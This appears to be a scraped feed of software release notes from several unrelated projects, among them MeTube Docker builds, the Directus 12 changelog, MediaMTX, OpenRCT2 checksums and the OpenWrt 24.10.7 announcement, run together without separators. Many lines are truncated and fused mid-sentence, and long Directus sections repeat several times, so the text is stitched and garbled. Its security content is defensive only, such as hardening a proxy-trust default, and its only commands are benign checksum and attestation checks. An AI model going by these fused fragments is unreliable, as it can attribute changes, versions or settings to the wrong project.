Docker images have been built and pushed:
Docker Hub:
Log in
alexta69/metube:latestalexta69/metube:2026.06.16GitHub Container Registry:
ghcr.io/alexta69/metube:latestghcr.io/alexta69/metube:2026.06.16
If you are upgrading from v0.16.x, replace the binary (or run docker pull). If you are upgrading from v0.15.x and below, please read the upgrading documentation for more information on how to upgrade from previous versions.
*/changes methods leak ids of non-shared objects (reported by @5ud0er).http_header function.default virtual queue.address-data are ignored.keep is not specified.
Docker images have been built and pushed:
Docker Hub:
alexta69/metube:latestalexta69/metube:2026.06.13GitHub Container Registry:
ghcr.io/alexta69/metube:latestghcr.io/alexta69/metube:2026.06.13
@directus/app@16.1.1@directus/api@36.0.2create-directus-extension@12.1.0
@directus/app@16.1.0@directus/api@36.0.1
General
Media-over-QUIC
RTSP
RTMP
Dependencies
Binaries are compiled from source code by the Release workflow, which is a fully-visible process that prevents any change or external interference in produced artifacts.
Checksums of binaries are also published in a public blockchain by using GitHub Attestations, and they can be verified by running:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
License Enforcement
Note
Directus is free for individuals and organizations under $5M annual revenue and 50 employees.
Get your free license key at directus.com/oig
Directus 12 introduces active license enforcement. Self-hosted instances run on the Core tier by default. Higher limits and additional features require a valid license. See Licensing for a complete overview.
This change affects instances previously using features that now require a license, including:
Enforcement is immediate on new instances. Instances upgrading to Directus 12 get a 30-day grace period from the time of upgrade, after which these are enforced unless a license that enables them is configured.
If your instance uses any of these features, add a license that includes them to continue to do so. If your instance uses only Core tier features, no action is required.
Changed license to MSCL-1.0-GPL (#27417)
Changed the default of IP_TRUST_PROXY from true to false to harden the default deployment against IP spoofing. (#27607)
IP_TRUST_PROXY default was changed from true to false. If you run Directus behind a reverse proxy and rely on X-Forwarded-For (or similar) headers for client IP resolution, you must now explicitly set IP_TRUST_PROXY to true or a more specific trust configuration.Fixed health check results not being shared in multi-instance settings. Restricted /server/health to authenticated users (#27160)
/server/health will return 404 for unauthenticated requests, use /server/ping for liveness checkscache, rateLimiter and rateLimiterGlobal health checks have been replaced by a generic redis check using the redis: prefixIntroduced VERSION_KEY_ constants and renamed main to published @alvarosabu (#27397)*
?version=published to resolve versions of the main item(s) via the version query parameter. For backward compatibility, ?version=main will continue to work.Replaced status field with archived boolean in collection settings @alvarosabu (#27397)
Deprecated the VResizeable component @formfcw (#27437)
VResizeable component has been deprecated. Extension authors using <v-resizeable> should migrate to @directus/vue-split-panel or their own implementation.Updated type system, borders, and theme variables @formfcw (#27437)
Updated module navigation bar spacing and styling @HZooly (#27437)
navigation.project.borderColor / navigation.project.borderWidth / navigation.project.background from theming. No action is required — these props will simply no longer have any effect.Locked published items in versioned collections from editing and added a header action button to edit in the draft version @alvarosabu (#27397)
Removed rounded buttons and adopted shared header action button across all views @formfcw (#27437)
rounded prop has been removed from v-button. Extensions using rounded will still render correctly but buttons will appear as rounded rectangles instead of circles. No functional impact.Updated header and navigation bar base design and merged their theme properties into a new shell scope @formfcw (#27437)
navigation.background, navigation.backgroundAccent, navigation.borderWidth, navigation.borderColor, header.background, header.borderWidth, and header.borderColor have been removed and replaced by shell.background, shell.backgroundAccent, shell.borderWidth, and shell.borderColor.shell scope. The corresponding CSS variables change from --theme--navigation--background, --theme--navigation--background-accent, --theme--navigation--border-*, --theme--header--background, and --theme--header--border-* to --theme--shell--background, --theme--shell--background-accent, and --theme--shell--border-*.Removed the extra confirmation step from the publish flow @alvarosabu (#27487)
Updated sidebar styles @formfcw (#27437)
section.toggle.borderWidth / section.toggle.borderColor in favor of section-level border tokens. No action is required — these props will simply no longer have any effect.sidebarShadow and headerShadow from defineLayout(). No action is required — these props will simply no longer have any effect.Refactored focus ring from border/box-shadow to outline @formfcw (#27437)
Updated header bar elements and deprecated the headline slot @formfcw (#27437)
Deprecation for extensions: The headline slot on the private view header bar has been deprecated. Existing content keeps rendering, but consumers using <template #headline> will now see a deprecation hint from Volar.
@directus/app
@directus/api
/server/health to authenticated users (#27160 by @ComfortablyCoding)@directus/themes
Updated module navigation bar spacing and styling @HZooly (#27437 by @formfcw)
Updated header and navigation bar base design and merged their theme properties into a new shell scope @formfcw (#27437 by @formfcw)
Refactored drawer header layout and simplified v-drawer API @formfcw (#27437 by @formfcw)
:::notice
v-breadcrumb component has been deprecated. Extensions using <v-breadcrumb> keep rendering but will see a deprecation hint from Volar.v-drawer, the subtitle prop (use the title prop instead), the subtitle slot, the header:append slot, and the actions:append slot have been deprecated. Existing usage keeps rendering — actions:append content lands in the secondary-actions zone, and for primary CTAs in the drawer header use the new actions:primary slot. Consumers will see deprecation hints from Volar.header.headline.foreground and header.headline.fontFamily have been removed. Custom themes overriding these properties should remove them. The corresponding CSS variables --theme--header--headline--foreground and --theme--header--headline--font-family no longer exist.:::
@directus/types
Updated module navigation bar spacing and styling @HZooly (#27437 by @formfcw)
Updated header and navigation bar base design and merged their theme properties into a new shell scope @formfcw (#27437 by @formfcw)
Refactored drawer header layout and simplified v-drawer API @formfcw (#27437 by @formfcw)
:::notice
v-breadcrumb component has been deprecated. Extensions using <v-breadcrumb> keep rendering but will see a deprecation hint from Volar.v-drawer, the subtitle prop (use the title prop instead), the subtitle slot, the header:append slot, and the actions:append slot have been deprecated. Existing usage keeps rendering — actions:append content lands in the secondary-actions zone, and for primary CTAs in the drawer header use the new actions:primary slot. Consumers will see deprecation hints from Volar.header.headline.foreground and header.headline.fontFamily have been removed. Custom themes overriding these properties should remove them. The corresponding CSS variables --theme--header--headline--foreground and --theme--header--headline--font-family no longer exist.:::
@directus/extensions
@directus/extensions-registry
@directus/extensions-sdk
@directus/format-title
@directus/memory
@directus/pressure
@directus/release-notes-generator
@directus/update-check
@directus/validation
@directus/schema
@directus/schema-builder
@directus/specs
@directus/storage
@directus/storage-driver-cloudinary
@directus/storage-driver-supabase
@directus/storage-driver-azure
@directus/storage-driver-gcs
@directus/storage-driver-local
@directus/storage-driver-s3
@directus/stores
create-directus-extension
create-directus-project
@directus/env
IP_TRUST_PROXY from true to false to harden the default deployment against IP spoofing. (#27607 by @br41nslug)@directus/sdk
Fixed the outdated updateExtension command and added missing deleteExtension and extension registry commands (#27314 by @kheiner)
::notice
updateExtension now accepts an id instead of bundle and nameRefactor sdk error to use class over object (#27417 by @ComfortablyCoding)
:::warning
Requests that fail will now throw a RequestError instead of returning a response with an error property.
:::
Introduced VERSION_KEY_* constants and renamed main to published @alvarosabu (#27397 by @formfcw)
Added auto-save for version editing @alvarosabu (#27449 by @alvarosabu)
Fixed Image Editor save button to use split button @HZooly (#27437 by @formfcw)
Added split-menu slot to v-button and migrate primary header actions @formfcw (#27437 by @formfcw)
Added AI-powered translations to the translations interface, including glossary, style guide, and configurable default model settings derived from the enabled providers and allowed models. (#26940 by @bryantgillespie)
Added version support to getItemRoute and update all callers to preserve version context when navigating to items from layouts and interfaces @alvarosabu (#27397 by @formfcw)
Added behavior to auto-switch to the draft version on the first edit of published item @alvarosabu (#27507 by @alvarosabu)
Added Publish without Review action to the publish split menu with shortcut @alvarosabu (#27501 by @alvarosabu)
Updated Visual Editor header bar buttons @formfcw (#27437 by @formfcw)
Updated content route middleware to handle singleton collections and draft flow via route guards @alvarosabu (#27397 by @formfcw)
Replaced status field with archived boolean in collection settings @alvarosabu (#27397 by @formfcw)
Updated module bar buttons style @HZooly (#27437 by @formfcw)
Deprecated the VResizeable component @formfcw (#27437 by @formfcw)
Updated VChip component to appear as a pill in form field label, group accordion, group tabs, kanban, deployment status, extension item, marketplace extension list item, marketplace extension banner, and user popover @formfcw (#27462 by @formfcw)
Added tresjs shader background for public pages @alvarosabu (#27428 by @alvarosabu)
Updated type system, borders, and theme variables @formfcw (#27437 by @formfcw)
Rendered non-clickable version menu without directus_versions read access @alvarosabu (#27461 by @alvarosabu)
Added item-less draft creation flow for versioned collections @alvarosabu (#27397 by @formfcw)
Updated module navigation bar spacing and styling @HZooly (#27437 by @formfcw)
Updated Visual Editor popover/modal action buttons @formfcw (#27437 by @formfcw)
Updated UI for the Draft & Publish workflow @formfcw (#27437 by @formfcw)
Updated mobile appearance of drawer sidebar @formfcw (#27437 by @formfcw)
Moved Promote/Publish button to header actions @alvarosabu (#27397 by @formfcw)
Updated primary header actions to show label and replace outlined header action buttons @formfcw (#27437 by @formfcw)
Updated SearchInput component to match the new design @formfcw (#27437 by @formfcw)
Added MCP OAuth 2.1 authorization server. MCP clients (like Claude, Codex) can now authenticate via standard OAuth flow with PKCE instead of requiring a manually provisioned static token. Enable with MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)
Refactored header bar action slots and reorganized CTAs @formfcw (#27437 by @formfcw)
:::notice
actions:append slot in the header bar has been deprecated in favor of the new actions:primary slot for primary CTAs. Existing actions:append usage keeps rendering in the secondary-actions zone, but consumers will now see a deprecation hint from Volar.:::
Added navigation logic on discarding item-less versions @alvarosabu (#27397 by @formfcw)
Put the sidebar into the content area @HZooly (#27437 by @formfcw)
Updated color system for VChip and VersionMenu components @formfcw (#27437 by @formfcw)
Updated content section spacing and drawer content spacing @HZooly (#27437 by @formfcw)
Extracted the card subheader into a reusable subheader component @HZooly (#27437 by @formfcw)
Added version select to collection page @alvarosabu (#27397 by @formfcw)
Renamed "Promote" to "Publish" in version menu and disabled create version and published selection for item-less versions @alvarosabu (#27397 by @formfcw)
Added version query param guards on content-item route @alvarosabu (#27397 by @formfcw)
Forwarded theme tokens and i18n strings from Studio to the visual-editing iframe @formfcw (#27469 by @formfcw)
Refactored focus ring from border/box-shadow to outline @formfcw (#27437 by @formfcw)
Introduced VersionChip component @formfcw (#27437 by @formfcw)
Updated theme preview component to match the new design @formfcw (#27437 by @formfcw)
Updated collab avatar indicator design @formfcw (#27437 by @formfcw)
Refactored drawer header layout and simplified v-drawer API @formfcw (#27437 by @formfcw)
:::notice
v-breadcrumb component has been deprecated. Extensions using <v-breadcrumb> keep rendering but will see a deprecation hint from Volar.v-drawer, the subtitle prop (use the title prop instead), the subtitle slot, the header:append slot, and the actions:append slot have been deprecated. Existing usage keeps rendering — actions:append content lands in the secondary-actions zone, and for primary CTAs in the drawer header use the new actions:primary slot. Consumers will see deprecation hints from Volar.header.headline.foreground and header.headline.fontFamily have been removed. Custom themes overriding these properties should remove them. The corresponding CSS variables --theme--header--headline--foreground and --theme--header--headline--font-family no longer exist.:::
Updated header bar elements and deprecated the headline slot @formfcw (#27437 by @formfcw)
Ensured to switch to the draft version when visually editing an item of a versioned collection @formfcw (#27595 by @formfcw)
Extracted reusable ModuleBarButton component @formfcw (#27437 by @formfcw)
Moved client-validation to promote version workflow instead of save version @alvarosabu (#27397 by @formfcw)
Added Create New action to publish split menu with shortcut @alvarosabu (#27425 by @alvarosabu)
MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)version query parameter in collections @Nitwel (#27397 by @formfcw)MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)directus_oauth_* system collection visibility to match other system collections (#27682 by @hanneskuettner)MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)version query parameter in collections @Nitwel (#27397 by @formfcw)/server/health to authenticated users (#27160 by @ComfortablyCoding)MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)DIRECTUS_DOMAIN constant and replaced hardcoded directus.io to directus.com using the new constant (#27417 by @ComfortablyCoding)vue-tsc to 3.1.8 (#27437 by @formfcw)EXTENSIONS_PATH and EXTENSIONS_LOCATION env vars not being respected by the Vite dev server (#27642 by @HZooly)directus_oauth_* system collections (#27682 by @hanneskuettner)$t: keys on sub-field labels, and added a "Field Name Translations" section to the sub-field configuration UI (#27374 by @khanahmad4527)$t: prefix and translation strings, matching the field/collection label pattern. The flow name input in the flow editor now exposes the translation picker. (#27472 by @khanahmad4527)deep query parameters being dropped when filters use dynamic variables (#27676 by @mazen-salah)SECRET is missing. (#27406 by @rijkvanzanten)provider when not entitled to SSO (#27675 by @ComfortablyCoding)isMinimumAppPermission function (#27662 by @ComfortablyCoding)DIRECTUS_DOMAIN constant and replaced hardcoded directus.io to directus.com using the new constant (#27417 by @ComfortablyCoding)/server/health to authenticated users (#27160 by @ComfortablyCoding)SingletonCollections incorrectly including core schema collections (#27196 by @kheiner)@directus/app@16.0.0@directus/api@36.0.0@directus/ai@1.3.2@directus/composables@11.5.0@directus/constants@14.4.0create-directus-extension@12.0.0create-directus-project@13.0.0@directus/env@6.0.0@directus/errors@2.4.0@directus/extensions@4.0.0@directus/extensions-registry@4.0.0@directus/extensions-sdk@18.0.0@directus/format-title@13.0.0@directus/memory@4.0.0@directus/pressure@4.0.0@directus/release-notes-generator@3.0.0@directus/schema@14.0.0@directus/schema-builder@1.0.0@directus/specs@14.0.0@directus/storage@13.0.0@directus/storage-driver-azure@13.0.0@directus/storage-driver-cloudinary@13.0.0@directus/storage-driver-gcs@13.0.0@directus/storage-driver-local@13.0.0@directus/storage-driver-s3@13.0.0@directus/storage-driver-supabase@4.0.0@directus/stores@3.0.0@directus/system-data@4.5.0@directus/themes@2.0.0@directus/types@16.0.0@directus/update-check@14.0.0@directus/utils@13.5.0@directus/validation@3.0.0@directus/visual-editing@2.1.0@directus/sdk@22.0.0
Docker images have been built and pushed:
Docker Hub:
alexta69/metube:latestalexta69/metube:2026.06.10GitHub Container Registry:
ghcr.io/alexta69/metube:latestghcr.io/alexta69/metube:2026.06.10
Release created in https://github.com/OpenRCT2/OpenRCT2/actions/runs/27089751091
SHA256 checksums:
08869f7e5f34b44920a4209a0d81b2fb688b8fabb16fd23d7d486536e2f9e482 ./OpenRCT2-v0.5.2-linux-x86_64.AppImage
162c61e65f4327d3d5406dcfebc0b634ba6a0c8b1d8a71fb12f7a14cebd3a158 ./OpenRCT2-v0.5.2-Linux-trixie-x86_64.tar.gz
73f114744a5f44c63225db7a3897158addc83094797e52069d000b007d63a508 ./OpenRCT2-v0.5.2-windows-installer-win32.exe
f433cffae1cee88f71de0bb4a296d3c63b4802f907e08078c019d10a475bf050 ./OpenRCT2-v0.5.2-windows-installer-x64.exe
54715dacc97370a38f83572d609135a9ef395324ae38fd6ae3864aa6de958d0d ./OpenRCT2-v0.5.2-Linux-resolute-x86_64.tar.gz
34477e8339107d94ff441c99d00f6e94a26e481ab97727c4b744ab01b38d842a ./OpenRCT2-v0.5.2-windows-symbols-x64.zip
2d8e436217a2351eeb016715652f205d8c1f21f7467b25e0f9895b8175a1040a ./OpenRCT2-v0.5.2-windows-symbols-win32.zip
17561e865947ac69394fc21a978102b36b6a3681fd2e22bda45162f223a7d5f4 ./OpenRCT2-v0.5.2-windows-symbols-arm64.zip
3c0ab35a415907c883628a7113a20607041c00c2ef60419da0f2ebffcf0e5c8a ./OpenRCT2-v0.5.2-windows-installer-arm64.exe
247230c20657d5ae55494a6a5fb80f3050ef573c6be880a782283cf587813585 ./OpenRCT2-v0.5.2-windows-portable-win32.zip
6bc105b4fa9c751e17ffa13af68a6070f8a0956b713d2602fcbf67d3380c945f ./OpenRCT2-v0.5.2-sha256sums.txt
1e5bea5f11dcd44e803ecf6b51242ac33ae1ce3a5186ed07362c05fba7604892 ./OpenRCT2-v0.5.2-windows-portable-arm64.zip
b80fd9b439fb42d1c4d58245fb9215bbea89813326e3616b72e95181a8d06787 ./OpenRCT2-v0.5.2-macos-universal.zip
e5aea2add0bc140dc1a0b2bde6b02cbf569656ba4e0e4bf1402c99be6540b7d9 ./OpenRCT2-v0.5.2-windows-portable-x64.zip
262f57a8b1859e58b5319e3aee12062d215170868b9ded5d963c67d53dce6b5d ./OpenRCT2-v0.5.2-Linux-noble-x86_64.tar.gz
1cbe1db375094d64af72df042f291bbc92386fb63970c8260bc3cd1547cd842d ./OpenRCT2-v0.5.2-android.apk
8f13a7d3a624f2ff56dd55545c6e38691801cb159065e5c56b12eebc818a5a95 ./OpenRCT2-v0.5.2-Linux-bookworm-x86_64.tar.gz
If you are upgrading from v0.16.x, replace the binary (or run docker pull). If you are upgrading from v0.15.x and below, please read the upgrading documentation for more information on how to upgrade from previous versions.
AES-256-GCM-SIV AEAD format that carries the account name for proxy routing.550 Mailbox not found.FileNode/get returns a stale state string.SieveSystemInterpreter.defaultReturnPath and MtaQueueQuota.match optional expressions.dns-update-v0.5.1.
Fixed health check results not being shared in multi-instance settings. Restricted /server/health to authenticated users (#27160)
Health checks are cached by default and shared across multi-instance deployments
/server/health will return 404 for unauthenticated requests, use /server/ping for liveness checks
cache, rateLimiter and rateLimiterGlobal health checks have been replaced by a generic redis check using the redis: prefix
@directus/api
/server/health to authenticated users (#27160 by @ComfortablyCoding)/server/health to authenticated users (#27160 by @ComfortablyCoding)directus_oauth_* system collection visibility to match other system collections (#27682 by @hanneskuettner)EXTENSIONS_PATH and EXTENSIONS_LOCATION env vars not being respected by the Vite dev server (#27642 by @HZooly)directus_oauth_* system collections (#27682 by @hanneskuettner)$t: prefix and translation strings, matching the field/collection label pattern. The flow name input in the flow editor now exposes the translation picker. (#27472 by @khanahmad4527)deep query parameters being dropped when filters use dynamic variables (#27676 by @mazen-salah)provider when not entitled to SSO (#27675 by @ComfortablyCoding)/server/health to authenticated users (#27160 by @ComfortablyCoding)SingletonCollections incorrectly including core schema collections (#27196 by @kheiner)@directus/app@16.0.0-rc.1@directus/api@36.0.0-rc.1@directus/composables@11.5.0-rc.1@directus/constants@14.4.0-rc.1create-directus-extension@12.0.0-rc.1@directus/env@6.0.0-rc.1@directus/extensions@4.0.0-rc.1@directus/extensions-registry@4.0.0-rc.1@directus/extensions-sdk@18.0.0-rc.1@directus/memory@4.0.0-rc.1@directus/pressure@4.0.0-rc.1@directus/schema-builder@1.0.0-rc.1@directus/storage-driver-azure@13.0.0-rc.1@directus/storage-driver-cloudinary@13.0.0-rc.1@directus/storage-driver-gcs@13.0.0-rc.1@directus/storage-driver-s3@13.0.0-rc.1@directus/storage-driver-supabase@4.0.0-rc.1@directus/system-data@4.5.0-rc.1@directus/themes@2.0.0-rc.1@directus/types@16.0.0-rc.1@directus/utils@13.5.0-rc.1@directus/validation@3.0.0-rc.1@directus/sdk@22.0.0-rc.1
Media-over-QUIC
RTMP
HLS
General
RTSP
RTMP
HLS
WebRTC
RPI Camera
Dependencies
Binaries are compiled from source code by the Release workflow, which is a fully-visible process that prevents any change or external interference in produced artifacts.
Checksums of binaries are also published in a public blockchain by using GitHub Attestations, and they can be verified by running:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
Note
If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.
The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.
Docker images have been built and pushed:
Docker Hub:
alexta69/metube:latestalexta69/metube:2026.05.30GitHub Container Registry:
ghcr.io/alexta69/metube:latestghcr.io/alexta69/metube:2026.05.30
Hi,
The OpenWrt community is proud to announce the newest stable release of the OpenWrt 24.10 stable series.
This release fixes several security issues, including security fixes in dnsmasq and the Linux kernel. We recommend everyone to upgrade.
The OpenWrt 24.10 series is in security maintenance (only security problems are fixed), with end of life (EoL) projected for September 2026. We recommend migrating to OpenWrt 25.12 before then.
Download firmware images using the OpenWrt Firmware Selector:
Download firmware images directly from our download servers:
Only the main changes are listed below. See changelog-24.10.7 for the full changelog.
Linux kernel:
dnsmasq:
TLS/crypto libraries:
Sysupgrade can be used to upgrade a device from 23.05 to 24.10, and configuration will be preserved in most cases.
For for upgrades inside the OpenWrt 24.10 stable series for example from a OpenWrt 24.10 release candidate Attended Sysupgrade is supported in addition which allows preserving the installed packages too.
Sysupgrade from 22.03 to 24.10 is not officially supported.
There is no configuration migration path for users of the ipq806x target for Qualcomm Atheros IPQ806X SoCs because it switched to DSA. You have to upgrade without saving the configuration.
''Image version mismatch. image 1.1 device 1.0 Please wipe config during upgrade (force required) or reinstall. Config cannot be migrated from swconfig to DSA Image check failed''
User of the Linksys E8450 aka. Belkin RT3200 running OpenWrt 23.05 or earlier will need to run installer version v1.1.3 or later in order to reorganize the UBI layout for the 24.10 release. A detailed description is in the OpenWrt wiki. Updating without using the installer will break the device. Sysupgrade will show a warning before doing an incompatible upgrade.
Users of the Xiaomi AX3200 aka. Redmi AX6S running OpenWrt 23.05 or earlier have to follow a special upgrade procedure described in the wiki. This will increase the flash memory available for OpenWrt. Updating without following the guide in the wiki break the device. Sysupgrade will show a warning before doing an incompatible upgrade.
Users of Zyxel GS1900 series switches running OpenWrt 23.05 or earlier have to perform a new factory install with the initramfs image due to a changed partition layout. Sysupgrade will show a warning before doing an incompatible upgrade and is not possible. After upgrading, the config file /etc/config/system should not be restored from a backup, as this will overwrite the new compat_version value.
Full release notes and upgrade instructions are available at
https://openwrt.org/releases/24.10/notes-24.10.7
In particular, make sure to read the regressions and known issues before upgrading:
https://openwrt.org/releases/24.10/notes-24.10.7#known_issues
For a detailed list of all changes since 24.10.6, refer to
https://openwrt.org/releases/24.10/changelog-24.10.7
To download the 24.10.7 images, navigate to:
https://downloads.openwrt.org/releases/24.10.7/targets/
Use OpenWrt Firmware Selector to download:
https://firmware-selector.openwrt.org?version=24.10.7
As always, a big thank you goes to all our active package maintainers, testers, documenters and supporters.
Have fun!
The OpenWrt Community
To stay informed of new OpenWrt releases and security advisories, there
are new channels available:
a low-volume mailing list for important announcements:
https://lists.openwrt.org/mailman/listinfo/openwrt-announce
a dedicated "announcements" section in the forum:
https://forum.openwrt.org/c/announcements/14
other announcement channels (such as RSS feeds) might be added in the
future, they will be listed at https://openwrt.org/contact
Introduced VERSION_KEY_ constants and renamed main to published @alvarosabu (#27397)*
Backward Compatibility: You can now use ?version=published to resolve versions of the main item(s) via the version query parameter. For backward compatibility, ?version=main will continue to work.
Replaced status field with archived boolean in collection settings @alvarosabu (#27397)
Backward Compatibility: Existing collections with string-based status fields continue to work unchanged; newly created collections now default to a boolean "Archived" field instead of the string "Status" field
Deprecated the VResizeable component @formfcw (#27437)
VResizeable component has been deprecated. Extension authors using <v-resizeable> should migrate to @directus/vue-split-panel or their own implementation.Updated type system, borders, and theme variables @formfcw (#27437)
Updated module navigation bar spacing and styling @HZooly (#27437)
navigation.project.borderColor / navigation.project.borderWidth / navigation.project.background from theming. No action is required — these props will simply no longer have any effect.Locked published items in versioned collections from editing and added a header action button to edit in the draft version @alvarosabu (#27397)
Removed rounded buttons and adopted shared header action button across all views @formfcw (#27437)
rounded prop has been removed from v-button. Extensions using rounded will still render correctly but buttons will appear as rounded rectangles instead of circles. No functional impact.Changed license to MSCL-1.0-GPL (#27417)
Updated header and navigation bar base design and merged their theme properties into a new shell scope @formfcw (#27437)
navigation.background, navigation.backgroundAccent, navigation.borderWidth, navigation.borderColor, header.background, header.borderWidth, and header.borderColor have been removed and replaced by shell.background, shell.backgroundAccent, shell.borderWidth, and shell.borderColor.shell scope. The corresponding CSS variables change from --theme--navigation--background, --theme--navigation--background-accent, --theme--navigation--border-*, --theme--header--background, and --theme--header--border-* to --theme--shell--background, --theme--shell--background-accent, and --theme--shell--border-*.Removed the extra confirmation step from the publish flow @alvarosabu (#27487)
Updated sidebar styles @formfcw (#27437)
section.toggle.borderWidth / section.toggle.borderColor in favor of section-level border tokens. No action is required — these props will simply no longer have any effect.sidebarShadow and headerShadow from defineLayout(). No action is required — these props will simply no longer have any effect.Refactored focus ring from border/box-shadow to outline @formfcw (#27437)
Updated header bar elements and deprecated the headline slot @formfcw (#27437)
headline slot on the private view header bar has been deprecated. Existing content keeps rendering, but consumers using <template #headline> will now see a deprecation hint from Volar.Changed the default of IP_TRUST_PROXY from true to false to harden the default deployment against IP spoofing. (#27607)
The IP_TRUST_PROXY default was changed from true to false. If you run Directus behind a reverse proxy and rely on X-Forwarded-For (or similar) headers for client IP resolution, you must now explicitly set IP_TRUST_PROXY to true or a more specific trust configuration.
Updated module navigation bar spacing and styling @HZooly (#27437 by @formfcw)
Updated header and navigation bar base design and merged their theme properties into a new shell scope @formfcw (#27437 by @formfcw)
Refactored drawer header layout and simplified v-drawer API @formfcw (#27437 by @formfcw)
:::notice
v-breadcrumb component has been deprecated. Extensions using <v-breadcrumb> keep rendering but will see a deprecation hint from Volar.v-drawer, the subtitle prop (use the title prop instead), the subtitle slot, the header:append slot, and the actions:append slot have been deprecated. Existing usage keeps rendering — actions:append content lands in the secondary-actions zone, and for primary CTAs in the drawer header use the new actions:primary slot. Consumers will see deprecation hints from Volar.header.headline.foreground and header.headline.fontFamily have been removed. Custom themes overriding these properties should remove them. The corresponding CSS variables --theme--header--headline--foreground and --theme--header--headline--font-family no longer exist.:::
Updated module navigation bar spacing and styling @HZooly (#27437 by @formfcw)
Updated header and navigation bar base design and merged their theme properties into a new shell scope @formfcw (#27437 by @formfcw)
Refactored drawer header layout and simplified v-drawer API @formfcw (#27437 by @formfcw)
:::notice
v-breadcrumb component has been deprecated. Extensions using <v-breadcrumb> keep rendering but will see a deprecation hint from Volar.v-drawer, the subtitle prop (use the title prop instead), the subtitle slot, the header:append slot, and the actions:append slot have been deprecated. Existing usage keeps rendering — actions:append content lands in the secondary-actions zone, and for primary CTAs in the drawer header use the new actions:primary slot. Consumers will see deprecation hints from Volar.header.headline.foreground and header.headline.fontFamily have been removed. Custom themes overriding these properties should remove them. The corresponding CSS variables --theme--header--headline--foreground and --theme--header--headline--font-family no longer exist.:::
IP_TRUST_PROXY from true to false to harden the default deployment against IP spoofing. (#27607 by @br41nslug)Refactor sdk error to use class over object (#27417 by @ComfortablyCoding)
:::warning
Requests that fail will now throw a RequestError instead of returning a response with an error property.
:::
Introduced VERSION_KEY_* constants and renamed main to published @alvarosabu (#27397 by @formfcw)
Added auto-save for version editing @alvarosabu (#27449 by @alvarosabu)
Fixed Image Editor save button to use split button @HZooly (#27437 by @formfcw)
Added split-menu slot to v-button and migrate primary header actions @formfcw (#27437 by @formfcw)
Added AI-powered translations to the translations interface, including glossary, style guide, and configurable default model settings derived from the enabled providers and allowed models. (#26940 by @bryantgillespie)
Added version support to getItemRoute and update all callers to preserve version context when navigating to items from layouts and interfaces @alvarosabu (#27397 by @formfcw)
Added behavior to auto-switch to the draft version on the first edit of published item @alvarosabu (#27507 by @alvarosabu)
Added Publish without Review action to the publish split menu with shortcut @alvarosabu (#27501 by @alvarosabu)
Updated Visual Editor header bar buttons @formfcw (#27437 by @formfcw)
Updated content route middleware to handle singleton collections and draft flow via route guards @alvarosabu (#27397 by @formfcw)
Replaced status field with archived boolean in collection settings @alvarosabu (#27397 by @formfcw)
Updated module bar buttons style @HZooly (#27437 by @formfcw)
Deprecated the VResizeable component @formfcw (#27437 by @formfcw)
Updated VChip component to appear as a pill in form field label, group accordion, group tabs, kanban, deployment status, extension item, marketplace extension list item, marketplace extension banner, and user popover @formfcw (#27462 by @formfcw)
Updated type system, borders, and theme variables @formfcw (#27437 by @formfcw)
Rendered non-clickable version menu without directus_versions read access @alvarosabu (#27461 by @alvarosabu)
Added item-less draft creation flow for versioned collections @alvarosabu (#27397 by @formfcw)
Updated module navigation bar spacing and styling @HZooly (#27437 by @formfcw)
Updated Visual Editor popover/modal action buttons @formfcw (#27437 by @formfcw)
Updated UI for the Draft & Publish workflow @formfcw (#27437 by @formfcw)
Updated mobile appearance of drawer sidebar @formfcw (#27437 by @formfcw)
Moved Promote/Publish button to header actions @alvarosabu (#27397 by @formfcw)
Updated primary header actions to show label and replace outlined header action buttons @formfcw (#27437 by @formfcw)
Updated SearchInput component to match the new design @formfcw (#27437 by @formfcw)
Added MCP OAuth 2.1 authorization server. MCP clients (like Claude, Codex) can now authenticate via standard OAuth flow with PKCE instead of requiring a manually provisioned static token. Enable with MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)
Refactored header bar action slots and reorganized CTAs @formfcw (#27437 by @formfcw)
:::notice
actions:append slot in the header bar has been deprecated in favor of the new actions:primary slot for primary CTAs. Existing actions:append usage keeps rendering in the secondary-actions zone, but consumers will now see a deprecation hint from Volar.:::
Added navigation logic on discarding item-less versions @alvarosabu (#27397 by @formfcw)
Put the sidebar into the content area @HZooly (#27437 by @formfcw)
Updated color system for VChip and VersionMenu components @formfcw (#27437 by @formfcw)
Updated content section spacing and drawer content spacing @HZooly (#27437 by @formfcw)
Extracted the card subheader into a reusable subheader component @HZooly (#27437 by @formfcw)
Added version select to collection page @alvarosabu (#27397 by @formfcw)
Renamed "Promote" to "Publish" in version menu and disabled create version and published selection for item-less versions @alvarosabu (#27397 by @formfcw)
Added version query param guards on content-item route @alvarosabu (#27397 by @formfcw)
